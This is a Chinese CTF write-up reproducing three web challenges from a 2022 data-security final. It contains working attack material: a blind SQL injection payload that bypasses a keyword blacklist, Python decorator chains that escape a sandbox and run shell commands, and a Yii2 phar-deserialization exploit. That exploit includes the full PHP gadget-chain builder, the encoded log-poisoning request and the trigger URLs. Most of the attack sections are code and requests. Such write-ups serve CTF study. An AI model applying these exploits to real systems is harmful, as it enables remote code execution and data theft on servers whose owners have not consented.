数据安全2022决赛 部分web复现
很菜,纯坐牢
Classroom
sql insert 注入
def safe_waf(sql):
blacklist = ["sys", "sql", "thread","if", "regexp", "cmp", "locate", "match","find","field","#","sleep","repeat","lock","bench","like","count","=","xor","&&","||"]
for black in blacklist:
if black in sql:
return False
return True
# ...
username = re.escape(request.values.get("Name"))
password = request.values.get("Password")
# ...
if safe_waf(username) and safe_waf(password):
sql = 'insert into users (username, password) values("' + username + '","' + password + '")'
r = conn.execute(sql)
print(r.rowcount)
POC:
username='foo'
password='1"not in (select * from (select xxx) tmp) )--'
select xxx是完全可控的,可以把密码盲注
Python Decorator
Python Decorator 本质上是用来方便AOP的语法糖。当装饰class的时候效果如下:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass
# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)
# So just send your python code when prompted and it will be executed
# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass
Decorator RCE
原题
https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/
@print
@list
@eval
@bytes
@copyright._Printer__filenames.__add__
@list
@str.encode
@chr
@len
@StopAsyncIteration.__doc__.format
@copyright._Printer__filenames.append
@len
@OSError.__doc__.format
@copyright._Printer__filenames.append
@len
@len.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@int.real.__name__.strip
@len.__name__.format
@copyright._Printer__filenames.append
@len
@ValueError.__doc__.format
@copyright._Printer__filenames.append
@len
@Exception.__doc__.format
@copyright._Printer__filenames.append
@len
@OSError.__doc__.format
@copyright._Printer__filenames.append
@len
@StopIteration.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@open.__name__.format
@copyright._Printer__filenames.append
@len
@set.__doc__.format
@copyright._Printer__filenames.append
@len
@Exception.__doc__.format
@copyright._Printer__filenames.extend
@str.encode
@__import__.__name__.__add__
@str
@tuple
@str.split
@str.lower
@OSError.__name__.rstrip
@TypeError.__name__.format
class room: ...
效果如下
print(list(eval(b'__import__("os",).popen("./rea*")')))
wp作者提供了一个DFS+DP找全局类型为list的属性的脚本
visited = set()
def search(obj, path):
for name in dir(obj):
item = getattr(obj, name)
new_path = path + "." + name
if (type(item) == list):
print(new_path)
return
if type(item) not in visited:
visited.add(type(item))
search(item, new_path)
search(__builtins__, "__builtins__")
loglog
关键路由在于
public function actionIndex()
{
if (!Yii::$app->user->isGuest) {
$data = Yii::$app->request->get('data');
$res = file_get_contents($data);
file_put_contents($data,$res);
}
return $this->render('index');
}
思路基本和CVE-2021-3129一样,但是有一两个细节有点问题,很折磨人
log文件在这里,可以用winmerge之类的工具快速找到
清空log
这一步没什么问题
http://127.0.0.1/index.php?data=php://filter/read=consumed/resource=../runtime/logs/app.log
php伪协议写编码过的phar
先把编码搞出来,用到了Yii2 <= 2.0.42现成的链子
当然断网的话是不是还要徒手挖(害怕
<?php
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension{
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
}
namespace {
$exp = new Codeception\Extension\RunProcess('system','calc');
// $b64=(base64_encode(serialize($exp)));
// echo $b64;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
$byte=file_get_contents('./phar.phar');
$fp = fopen('poc.txt', 'w');
stream_filter_append($fp, 'convert.base64-encode');
stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, $byte);
fclose($fp);
}
//require './vendor/autoload.php';
//unserialize(base64_decode($b64));
然后构造一个请求把编码写道日志文件里。
最开始的思路是直接data参数写(注意url编码)
http://127.0.0.1/index.php?data=P%3D00D%3D009%3D00.....
会发现没办法解编码。观察日志文件
两个问题:
- 编码后有冗余的
=
,quoted-printable解码的时候会报错 - 编码开头的地方会有重复,而且也会导致解码报错
对于第1个问题,我发现data这个参数无论如何都会在日志文件后面出现=
。我突然想到yii路由的参数是r
。试了一下换成这个参数就不会有=
出现了。
至于第2个问题,在payload开头的地方加一些垃圾数据aaaa....
即可。注意a
的个数必须是偶数,因为原理上来说UTF-16是双字节对齐。
payload:
http://127.0.0.1/index.php?r=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP%3D00D%3D009%3D00w%3D00a%3D00H%3D00A%3D00g%3D00X%3D001%3D009%3D00I%3D00Q%3D00U%3D00x%3D00U%3D00X%3D000%3D00N%3D00P%3D00T%3D00V%3D00B%3D00J%3D00T%3D00E%3D00V%3D00S%3D00K%3D00C%3D00k%3D007%3D00I%3D00D%3D008%3D00%2B%3D00D%3D00Q%3D00p%3D00T%3D00A%3D00Q%3D00A%3D00A%3D00A%3D00Q%3D00A%3D00A%3D00A%3D00B%3D00E%3D00A%3D00A%3D00A%3D00A%3D00B%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00d%3D00A%3D00Q%3D00A%3D00A%3D00T%3D00z%3D00o%3D00z%3D00M%3D00j%3D00o%3D00i%3D00Q%3D002%3D009%3D00k%3D00Z%3D00W%3D00N%3D00l%3D00c%3D00H%3D00R%3D00p%3D00b%3D002%3D005%3D00c%3D00R%3D00X%3D00h%3D000%3D00Z%3D00W%3D005%3D00z%3D00a%3D00W%3D009%3D00u%3D00X%3D00F%3D00J%3D001%3D00b%3D00l%3D00B%3D00y%3D00b%3D002%3D00N%3D00l%3D00c%3D003%3D00M%3D00i%3D00O%3D00j%3D00E%3D006%3D00e%3D003%3D00M%3D006%3D00N%3D00D%3D00M%3D006%3D00I%3D00g%3D00B%3D00D%3D00b%3D002%3D00R%3D00l%3D00Y%3D002%3D00V%3D00w%3D00d%3D00G%3D00l%3D00v%3D00b%3D00l%3D00x%3D00F%3D00e%3D00H%3D00R%3D00l%3D00b%3D00n%3D00N%3D00p%3D00b%3D002%3D005%3D00c%3D00U%3D00n%3D00V%3D00u%3D00U%3D00H%3D00J%3D00v%3D00Y%3D002%3D00V%3D00z%3D00c%3D00w%3D00B%3D00w%3D00c%3D00m%3D009%3D00j%3D00Z%3D00X%3D00N%3D00z%3D00Z%3D00X%3D00M%3D00i%3D00O%3D002%3D00E%3D006%3D00M%3D00T%3D00p%3D007%3D00a%3D00T%3D00o%3D00w%3D00O%3D000%3D008%3D006%3D00M%3D00j%3D00A%3D006%3D00I%3D00k%3D00Z%3D00h%3D00a%3D002%3D00V%3D00y%3D00X%3D00F%3D00Z%3D00h%3D00b%3D00G%3D00l%3D00k%3D00R%3D002%3D00V%3D00u%3D00Z%3D00X%3D00J%3D00h%3D00d%3D00G%3D009%3D00y%3D00I%3D00j%3D00o%3D00z%3D00O%3D00n%3D00t%3D00z%3D00O%3D00j%3D00E%3D00y%3D00O%3D00i%3D00I%3D00A%3D00K%3D00g%3D00B%3D00n%3D00Z%3D00W%3D005%3D00l%3D00c%3D00m%3D00F%3D000%3D00b%3D003%3D00I%3D00i%3D00O%3D000%3D008%3D006%3D00M%3D00j%3D00I%3D006%3D00I%3D00k%3D00Z%3D00h%3D00a%3D002%3D00V%3D00y%3D00X%3D00E%3D00R%3D00l%3D00Z%3D00m%3D00F%3D001%3D00b%3D00H%3D00R%3D00H%3D00Z%3D00W%3D005%3D00l%3D00c%3D00m%3D00F%3D000%3D00b%3D003%3D00I%3D00i%3D00O%3D00j%3D00E%3D006%3D00e%3D003%3D00M%3D006%3D00M%3D00T%3D00A%3D006%3D00I%3D00g%3D00A%3D00q%3D00A%3D00G%3D00R%3D00l%3D00Z%3D00m%3D00F%3D001%3D00b%3D00H%3D00Q%3D00i%3D00O%3D003%3D00M%3D006%3D00N%3D00D%3D00o%3D00i%3D00Y%3D002%3D00F%3D00s%3D00Y%3D00y%3D00I%3D007%3D00f%3D00X%3D00M%3D006%3D00M%3D00T%3D00I%3D006%3D00I%3D00g%3D00A%3D00q%3D00A%3D00H%3D00Z%3D00h%3D00b%3D00G%3D00l%3D00k%3D00Y%3D00X%3D00R%3D00v%3D00c%3D00i%3D00I%3D007%3D00c%3D00z%3D00o%3D002%3D00O%3D00i%3D00J%3D00z%3D00e%3D00X%3D00N%3D000%3D00Z%3D00W%3D000%3D00i%3D00O%3D003%3D00M%3D006%3D00M%3D00T%3D00M%3D006%3D00I%3D00g%3D00A%3D00q%3D00A%3D00G%3D001%3D00h%3D00e%3D00F%3D00J%3D00l%3D00d%3D00H%3D00J%3D00p%3D00Z%3D00X%3D00M%3D00i%3D00O%3D002%3D00k%3D006%3D00O%3D00T%3D00k%3D005%3D00O%3D00T%3D00k%3D005%3D00O%3D00T%3D00k%3D007%3D00f%3D00X%3D001%3D009%3D00C%3D00A%3D00A%3D00A%3D00A%3D00H%3D00R%3D00l%3D00c%3D003%3D00Q%3D00u%3D00d%3D00H%3D00h%3D000%3D00B%3D00A%3D00A%3D00A%3D00A%3D00J%3D00P%3D00O%3D009%3D00m%3D00M%3D00E%3D00A%3D00A%3D00A%3D00A%3D00D%3D00H%3D005%3D00%2F%3D002%3D00L%3D00Y%3D00B%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00A%3D00d%3D00G%3D00V%3D00z%3D00d%3D00I%3D00o%3D00W%3D007%3D00C%3D00S%3D00e%3D00s%3D00p%3D00P%3D00i%3D00o%3D00c%3D00C%3D00n%3D00x%3D00T%3D00w%3D00R%3D00l%3D00p%3D00W%3D00x%3D00E%3D007%3D00n%3D00N%3D00A%3D00g%3D00A%3D00A%3D00A%3D00E%3D00d%3D00C%3D00T%3D00U%3D00I%3D00%3D3D%3D00
解码写phar
http://127.0.0.1/index.php?data=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
触发phar反序列化
http://127.0.0.1/index.php?data=phar://../runtime/logs/app.log
这个链子会不断地命令执行,我复现的时候弹了几十个计算器,最后把nginx关了才停下来hh